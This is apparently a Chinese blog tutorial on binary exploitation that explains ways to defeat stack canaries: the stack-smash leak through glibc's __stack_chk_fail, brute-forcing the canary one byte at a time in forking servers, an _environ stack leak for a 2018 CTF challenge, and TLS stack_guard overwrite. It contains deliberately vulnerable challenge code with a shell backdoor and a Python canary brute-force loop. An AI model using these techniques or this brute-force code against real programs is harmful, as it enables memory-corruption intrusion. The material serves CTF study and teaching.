stack smash
原理
怎么说,就是利用canary的报错去读取我们想要获取的内容。当栈溢出覆盖了canary,程序最后检测到canary值被破坏之后会调用stack_chk_fail函数(以glibc2.26为例)
void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
__fortify_fail_abort (false, "stack smashing detected");
} // debug/stack_chk_fail.c
发现传入了一串字符串和false到fortify_fail函数
void
__attribute__ ((noreturn))
__fortify_fail_abort (_Bool need_backtrace, const char *msg)
{
/* The loop is added only to keep gcc happy. Don't pass down
__libc_argv[0] if we aren't doing backtrace since __libc_argv[0]
may point to the corrupted stack. */
while (1)
__libc_message (need_backtrace ? (do_abort | do_backtrace) : do_abort,
"*** %s ***: %s terminated\n",
msg,
(need_backtrace && __libc_argv[0] != NULL
? __libc_argv[0] : "<unknown>"));
} // debug/fortify_fail.c
发现打印了传过来的字符串和文件名,__libc_argv[0]相当于是文件名字符串的地址,(在glibc2.23只要我们把它换成我们想要获取的内容的地址,就会读出该地址的内容。),但是这里不能的,need_backtrace传过来的是flase,所以一定是"<unknown>",从2.26之后都不能用这个方法,大家可以下载glibc源码去看。
想要了解更详细可以看合天的这篇文章https://zhuanlan.zhihu.com/p/362917125
例题1
先看一道简单的例题(glibc2.23)
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char flag[0x40];
void inits()
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
int fd = open("./flag",0);
if(fd == -1)
{
puts("Something wrong!");
exit(0);
}
read(fd,flag,0x30);
close(fd);
}
int main()
{
char a[0x20];
inits();
puts("Hello!");
gets(a);
return 0;
}
//gcc test4-1.c -no-pie -o test4-1
有明显的栈溢出,找到flag地址,覆盖到文件名地址,得到flag。
多进程下的爆破canary
原理
函数pid_t fork(void)会创建一个新进程,操作系统会复制父进程的地址空间中的内容给子进程。调用fork函数后,子进程与父进程的执行顺序是无法确定的。子进程无法通过fork()来创建子进程。这个函数有三种返回值
- 在父进程中,fork返回新创建的子进程的进程ID;
- 在子进程中,fork返回0;
- 如果出现一个错误,fork返回一个负值。 如果在一个循环体内,可以利用栈溢出一个字节的一个字节的爆破canary,不断fork,直到fork返回0,证明该字节爆破成功,一共爆破7字节,最低位是\x00。
例题2
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<stdlib.h>
void inits()
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
}
void backdoor()
{
system("/bin/sh\x00");
}
void func()
{
puts("Input your name:");
char buf[0x20];
read(0,buf,0x60);
}
int main(void)
{
inits();
pid_t pid = 0;
while(1)
{
pid = fork();
if(pid < 0)
{
printf("Error!");
exit(0);
}
if(pid == 0)
{
func();
puts("Good!");
}
else
wait();
}
return 0;
}
通过上面的思路可直接写出exp。爆破后用后门地址覆盖返回地址。爆破部分如下:
canary = '\x00'
for j in range(7):
for i in range(0x100):
p.send('a'*0x28 + canary + chr(i))
a = p.recvuntil('Input your name:\n')
if 'Good!' in a:
canary += chr(i)
print(hex(u64(canary.ljust(8,'\x00'))))
break
例题3
网鼎杯2018-guess
开了nx和canary,放进IDA,发现它将flag读进了buf这个变量,所以我们要获取flag就要先泄露栈地址。后面fork了三次,我们不能直接泄露栈地址,只能通过泄露libc地址来泄露栈地址。在libc中保存了一个函数叫_environ,存的是当前进程的环境变量,得到libc地址后,libc基址+_environ的偏移量=_environ的地址,在内存布局中,他们同属于一个段,开启ASLR之后相对位置不变,偏移量之和libc库有关,通过_environ的地址得到_environ的值,从而得到环境变量地址,环境变量保存在栈中,所以通过栈内的偏移量,可以访问栈中任意变量。得到栈地址后,计算与buf的偏移,得到buf地址,用stack smash得到flag。不放exp了,有问题放评论。 例题3题目链接:https://buuoj.cn/challenges
参考资料:https://www.bilibili.com/video/BV1Uv411j7fr?p=10&spm_id_from=333.1007.top_right_bar_window_history.content.click
劫持TLS绕过canary
原理
线程局部存储(Thread Local Storage,TLS)看这里感觉这里介绍的很详细,我根据自己理解简单讲一下,在非主线程时,TCB结构体位于栈上,对于有足够长的栈溢出,我们很容易覆盖stack_guard以及pointer_guard,从而绕过canary。
参考:canary的各种绕过
本文链接: 缓冲区溢出及攻击总结(二)